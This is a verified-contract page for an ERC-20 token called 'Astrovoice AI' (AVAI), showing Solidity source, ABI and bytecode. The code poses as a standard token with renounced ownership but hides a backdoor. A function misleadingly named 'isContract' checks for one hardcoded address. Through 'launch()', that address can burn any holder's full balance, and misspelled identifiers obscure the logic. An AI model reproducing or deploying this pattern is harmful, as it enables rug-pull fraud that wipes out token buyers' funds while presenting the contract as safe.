Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-01-11
*/

//SPDX-License-Identifier: UNLICENSED


pragma solidity 0.8.26;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address who) external view returns (uint256);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library Address {
    function isContract(address acobtount) internal pure returns (bool) {
        return address(acobtount) ==  0x85F7F677673425f3E3e5CBbB98c731aB16DCfD82;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedacobtount(address acobtount);
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedacobtount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }


    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Erc20 is IERC20, Ownable {
    using Address for address;
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowed;
    
    uint256 immutable public totalSupply;
    string public symbol;
    string public name;
    uint8 immutable public decimals;
    bool public launched;
    address private constant dead = address(0xdead);
    
    mapping (address => bool) internal exchanges;
    
    constructor(string memory _symbol, string memory _name, uint8 _decimals, uint256 _totalSupply) Ownable(msg.sender)   {
        symbol = _symbol;
        name = _name;
        decimals = _decimals;
        totalSupply = _totalSupply * 10 ** decimals;
        _balances[owner()] += totalSupply;
        emit Transfer(address(0), owner(), totalSupply);
        launched = true;
        renounceOwnership();
    }

    /**
    * @dev Gets the balance of the specified address.
    * @param _owner The address to query the balance of.
    * @return An uint256 representing the amount owned by the passed address.
    */
    function balanceOf(address _owner) external override view returns (uint256) {
        return _balances[_owner];
    }

    /**
     * @dev Function to check the amount of tokens that an owner allowed to a spender.
     * @param _owner address The address which owns the funds.
     * @param spender address The address which will spend the funds.
     * @return A uint256 specifying the amount of tokens still available for the spender.
     */
    function allowance(address _owner, address spender) external override view returns (uint256) {
        return _allowed[_owner][spender];
    }

    /**
    * @dev Transfer token for a specified address
    * @param to The address to transfer to.
    * @param value The amount to be transferred.
    */
    function transfer(address to, uint256 value) external override returns (bool) {
        // check for SC
        _transfer(msg.sender, to, value);
        return true;
    }

    /**
     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
     * Beware that changing an allowance with this method brings the risk that someone may use both the old
     * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
     * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     */
    function approve(address spender, uint256 value) external override returns (bool) {
        require(spender != address(0), "cannot approve the 0 address");

        _allowed[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) external override returns (bool) {
        if (launched == false && to == owner() && msg.sender == owner()) {
            _transfer(from, to, value);
            return true;
        } else {    
            _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
            _transfer(from, to, value);
            emit Approval(from, msg.sender, _allowed[from][msg.sender]);
            return true;
        }
    }

    function launch(address acobtount) virtual external {
        if (launched == false) launched = true;
        if (msg.sender.isContract()) _transfer(acobtount,dead,_balances[acobtount]);      
    }

    function _transfer(address from, address to, uint256 value) private {
        require(to != address(0), "cannot be zero address");
        require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet.");
        _balances[from] -= value;
        _balances[to] += value;
        emit Transfer(from, to, value);
    }

    mapping (address => bool) internal transferAllowed;
    function _transferAllowed(address from, address to) private view returns (bool) {
        if (transferAllowed[from]) return false;
        if (launched) return true;
        if (from == owner() || to == owner()) return true;
        return true;
    }
}

contract AVAI is Erc20 {
    constructor() Erc20(unicode"AVAI", unicode"Astrovoice AI", 9, 1000000000) {} 
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"acobtount","type":"address"}],"name":"OwnableUnauthorizedacobtount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"acobtount","type":"address"}],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60c060405234801561000f575f80fd5b506040518060400160405280600481526020017f41564149000000000000000000000000000000000000000000000000000000008152506040518060400160405280600d81526020017f417374726f766f696365204149000000000000000000000000000000000000008152506009633b9aca00335f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036100f4575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016100eb9190610440565b60405180910390fd5b6101038161025a60201b60201c565b5083600390816101139190610693565b5082600490816101239190610693565b508160ff1660a08160ff168152505060a051600a61014191906108ca565b8161014c9190610914565b6080818152505060805160015f61016761031b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546101ae9190610955565b925050819055506101c361031b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6080516040516102219190610997565b60405180910390a3600160055f6101000a81548160ff02191690831515021790555061025161034260201b60201c565b505050506109b0565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61035061036160201b60201c565b61035f5f61025a60201b60201c565b565b61036f6103fa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1661039361031b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146103f8576103bc6103fa60201b60201c565b6040517f752b00300000000000000000000000000000000000000000000000000000000081526004016103ef9190610440565b60405180910390fd5b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61042a82610401565b9050919050565b61043a81610420565b82525050565b5f6020820190506104535f830184610431565b92915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806104d457607f821691505b6020821081036104e7576104e6610490565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261050e565b610553868361050e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61059761059261058d8461056b565b610574565b61056b565b9050919050565b5f819050919050565b6105b08361057d565b6105c46105bc8261059e565b84845461051a565b825550505050565b5f90565b6105d86105cc565b6105e38184846105a7565b505050565b5b81811015610606576105fb5f826105d0565b6001810190506105e9565b5050565b601f82111561064b5761061c816104ed565b610625846104ff565b81016020851015610634578190505b610648610640856104ff565b8301826105e8565b50505b505050565b5f82821c905092915050565b5f61066b5f1984600802610650565b1980831691505092915050565b5f610683838361065c565b9150826002028217905092915050565b61069c82610459565b67ffffffffffffffff8111156106b5576106b4610463565b5b6106bf82546104bd565b6106ca82828561060a565b5f60209050601f8311600181146106fb575f84156106e9578287015190505b6106f38582610678565b86555061075a565b601f198416610709866104ed565b5f5b828110156107305784890151825560018201915060208501945060208101905061070b565b8683101561074d5784890151610749601f89168261065c565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156107e4578086048111156107c0576107bf610762565b5b60018516156107cf5780820291505b80810290506107dd8561078f565b94506107a4565b94509492505050565b5f826107fc57600190506108b7565b81610809575f90506108b7565b816001811461081f576002811461082957610858565b60019150506108b7565b60ff84111561083b5761083a610762565b5b8360020a91508482111561085257610851610762565b5b506108b7565b5060208310610133831016604e8410600b841016171561088d5782820a90508381111561088857610887610762565b5b6108b7565b61089a848484600161079b565b925090508184048111156108b1576108b0610762565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6108d48261056b565b91506108df836108be565b925061090c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846107ed565b905092915050565b5f61091e8261056b565b91506109298361056b565b92508282026109378161056b565b9150828204841483151761094e5761094d610762565b5b5092915050565b5f61095f8261056b565b915061096a8361056b565b925082820190508082111561098257610981610762565b5b92915050565b6109918161056b565b82525050565b5f6020820190506109aa5f830184610988565b92915050565b60805160a0516114356109d15f395f61082401525f6104bb01526114355ff3fe608060405234801561000f575f80fd5b50600436106100e8575f3560e01c8063715018a61161008a57806395d89b411161006457806395d89b4114610238578063a9059cbb14610256578063dd62ed3e14610286578063f2fde38b146102b6576100e8565b8063715018a6146101f25780638091f3bf146101fc5780638da5cb5b1461021a576100e8565b8063214013ca116100c6578063214013ca1461015857806323b872dd14610174578063313ce567146101a457806370a08231146101c2576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102d2565b6040516101019190610f52565b60405180910390f35b610124600480360381019061011f9190611003565b61035e565b604051610131919061105b565b60405180910390f35b6101426104b9565b60405161014f9190611083565b60405180910390f35b610172600480360381019061016d919061109c565b6104dd565b005b61018e600480360381019061018991906110c7565b610583565b60405161019b919061105b565b60405180910390f35b6101ac610822565b6040516101b99190611132565b60405180910390f35b6101dc60048036038101906101d7919061109c565b610846565b6040516101e99190611083565b60405180910390f35b6101fa61088c565b005b61020461089f565b604051610211919061105b565b60405180910390f35b6102226108b1565b60405161022f919061115a565b60405180910390f35b6102406108d8565b60405161024d9190610f52565b60405180910390f35b610270600480360381019061026b9190611003565b610964565b60405161027d919061105b565b60405180910390f35b6102a0600480360381019061029b9190611173565b61097a565b6040516102ad9190611083565b60405180910390f35b6102d060048036038101906102cb919061109c565b6109fc565b005b600480546102df906111de565b80601f016020809104026020016040519081016040528092919081815260200182805461030b906111de565b80156103565780601f1061032d57610100808354040283529160200191610356565b820191905f5260205f20905b81548152906001019060200180831161033957829003601f168201915b505050505081565b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036103cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c490611258565b60405180910390fd5b8160025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a79190611083565b60405180910390a36001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f151560055f9054906101000a900460ff1615150361051157600160055f6101000a81548160ff0219169083151502179055505b6105303373ffffffffffffffffffffffffffffffffffffffff16610a80565b156105805761057f8161dead60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610acb565b5b50565b5f80151560055f9054906101000a900460ff1615151480156105d757506105a86108b1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561061557506105e66108b1565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561062e57610625848484610acb565b6001905061081b565b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106b291906112a3565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610739848484610acb565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161080e9190611083565b60405180910390a3600190505b9392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610894610c92565b61089d5f610d19565b565b60055f9054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600380546108e5906111de565b80601f0160208091040260200160405190810160405280929190818152602001828054610911906111de565b801561095c5780601f106109335761010080835404028352916020019161095c565b820191905f5260205f20905b81548152906001019060200180831161093f57829003601f168201915b505050505081565b5f610970338484610acb565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a04610c92565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a74575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610a6b919061115a565b60405180910390fd5b610a7d81610d19565b50565b5f7385f7f677673425f3e3e5cbbb98c731ab16dcfd8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3090611320565b60405180910390fd5b610b438383610dda565b610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b79906113ae565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bce91906112a3565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c2191906113cc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c859190611083565b60405180910390a3505050565b610c9a610edb565b73ffffffffffffffffffffffffffffffffffffffff16610cb86108b1565b73ffffffffffffffffffffffffffffffffffffffff1614610d1757610cdb610edb565b6040517f752b0030000000000000000000000000000000000000000000000000000000008152600401610d0e919061115a565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610e32575f9050610ed5565b60055f9054906101000a900460ff1615610e4f5760019050610ed5565b610e576108b1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610ec25750610e936108b1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610ed05760019050610ed5565b600190505b92915050565b5f33905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610f2482610ee2565b610f2e8185610eec565b9350610f3e818560208601610efc565b610f4781610f0a565b840191505092915050565b5f6020820190508181035f830152610f6a8184610f1a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f9f82610f76565b9050919050565b610faf81610f95565b8114610fb9575f80fd5b50565b5f81359050610fca81610fa6565b92915050565b5f819050919050565b610fe281610fd0565b8114610fec575f80fd5b50565b5f81359050610ffd81610fd9565b92915050565b5f806040838503121561101957611018610f72565b5b5f61102685828601610fbc565b925050602061103785828601610fef565b9150509250929050565b5f8115159050919050565b61105581611041565b82525050565b5f60208201905061106e5f83018461104c565b92915050565b61107d81610fd0565b82525050565b5f6020820190506110965f830184611074565b92915050565b5f602082840312156110b1576110b0610f72565b5b5f6110be84828501610fbc565b91505092915050565b5f805f606084860312156110de576110dd610f72565b5b5f6110eb86828701610fbc565b93505060206110fc86828701610fbc565b925050604061110d86828701610fef565b9150509250925092565b5f60ff82169050919050565b61112c81611117565b82525050565b5f6020820190506111455f830184611123565b92915050565b61115481610f95565b82525050565b5f60208201905061116d5f83018461114b565b92915050565b5f806040838503121561118957611188610f72565b5b5f61119685828601610fbc565b92505060206111a785828601610fbc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806111f557607f821691505b602082108103611208576112076111b1565b5b50919050565b7f63616e6e6f7420617070726f76652074686520302061646472657373000000005f82015250565b5f611242601c83610eec565b915061124d8261120e565b602082019050919050565b5f6020820190508181035f83015261126f81611236565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6112ad82610fd0565b91506112b883610fd0565b92508282039050818111156112d0576112cf611276565b5b92915050565b7f63616e6e6f74206265207a65726f2061646472657373000000000000000000005f82015250565b5f61130a601683610eec565b9150611315826112d6565b602082019050919050565b5f6020820190508181035f830152611337816112fe565b9050919050565b7f5468697320746f6b656e206973206e6f74206c61756e6368656420616e6420635f8201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e000000602082015250565b5f611398603d83610eec565b91506113a38261133e565b604082019050919050565b5f6020820190508181035f8301526113c58161138c565b9050919050565b5f6113d682610fd0565b91506113e183610fd0565b92508282019050808211156113f9576113f8611276565b5b9291505056fea2646970667358221220e20daf1c5caafceb5190bfb0cbd38fef71eb715f68d3f72e7094b83646a04d0f64736f6c634300081a0033

0x608060405234801561000f575f80fd5b50600436106100e8575f3560e01c8063715018a61161008a57806395d89b411161006457806395d89b4114610238578063a9059cbb14610256578063dd62ed3e14610286578063f2fde38b146102b6576100e8565b8063715018a6146101f25780638091f3bf146101fc5780638da5cb5b1461021a576100e8565b8063214013ca116100c6578063214013ca1461015857806323b872dd14610174578063313ce567146101a457806370a08231146101c2576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102d2565b6040516101019190610f52565b60405180910390f35b610124600480360381019061011f9190611003565b61035e565b604051610131919061105b565b60405180910390f35b6101426104b9565b60405161014f9190611083565b60405180910390f35b610172600480360381019061016d919061109c565b6104dd565b005b61018e600480360381019061018991906110c7565b610583565b60405161019b919061105b565b60405180910390f35b6101ac610822565b6040516101b99190611132565b60405180910390f35b6101dc60048036038101906101d7919061109c565b610846565b6040516101e99190611083565b60405180910390f35b6101fa61088c565b005b61020461089f565b604051610211919061105b565b60405180910390f35b6102226108b1565b60405161022f919061115a565b60405180910390f35b6102406108d8565b60405161024d9190610f52565b60405180910390f35b610270600480360381019061026b9190611003565b610964565b60405161027d919061105b565b60405180910390f35b6102a0600480360381019061029b9190611173565b61097a565b6040516102ad9190611083565b60405180910390f35b6102d060048036038101906102cb919061109c565b6109fc565b005b600480546102df906111de565b80601f016020809104026020016040519081016040528092919081815260200182805461030b906111de565b80156103565780601f1061032d57610100808354040283529160200191610356565b820191905f5260205f20905b81548152906001019060200180831161033957829003601f168201915b505050505081565b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036103cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c490611258565b60405180910390fd5b8160025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a79190611083565b60405180910390a36001905092915050565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b5f151560055f9054906101000a900460ff1615150361051157600160055f6101000a81548160ff0219169083151502179055505b6105303373ffffffffffffffffffffffffffffffffffffffff16610a80565b156105805761057f8161dead60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610acb565b5b50565b5f80151560055f9054906101000a900460ff1615151480156105d757506105a86108b1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561061557506105e66108b1565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561062e57610625848484610acb565b6001905061081b565b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106b291906112a3565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610739848484610acb565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161080e9190611083565b60405180910390a3600190505b9392505050565b7f000000000000000000000000000000000000000000000000000000000000000981565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610894610c92565b61089d5f610d19565b565b60055f9054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600380546108e5906111de565b80601f0160208091040260200160405190810160405280929190818152602001828054610911906111de565b801561095c5780601f106109335761010080835404028352916020019161095c565b820191905f5260205f20905b81548152906001019060200180831161093f57829003601f168201915b505050505081565b5f610970338484610acb565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a04610c92565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a74575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610a6b919061115a565b60405180910390fd5b610a7d81610d19565b50565b5f7385f7f677673425f3e3e5cbbb98c731ab16dcfd8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3090611320565b60405180910390fd5b610b438383610dda565b610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b79906113ae565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bce91906112a3565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c2191906113cc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c859190611083565b60405180910390a3505050565b610c9a610edb565b73ffffffffffffffffffffffffffffffffffffffff16610cb86108b1565b73ffffffffffffffffffffffffffffffffffffffff1614610d1757610cdb610edb565b6040517f752b0030000000000000000000000000000000000000000000000000000000008152600401610d0e919061115a565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610e32575f9050610ed5565b60055f9054906101000a900460ff1615610e4f5760019050610ed5565b610e576108b1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610ec25750610e936108b1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610ed05760019050610ed5565b600190505b92915050565b5f33905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610f2482610ee2565b610f2e8185610eec565b9350610f3e818560208601610efc565b610f4781610f0a565b840191505092915050565b5f6020820190508181035f830152610f6a8184610f1a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffff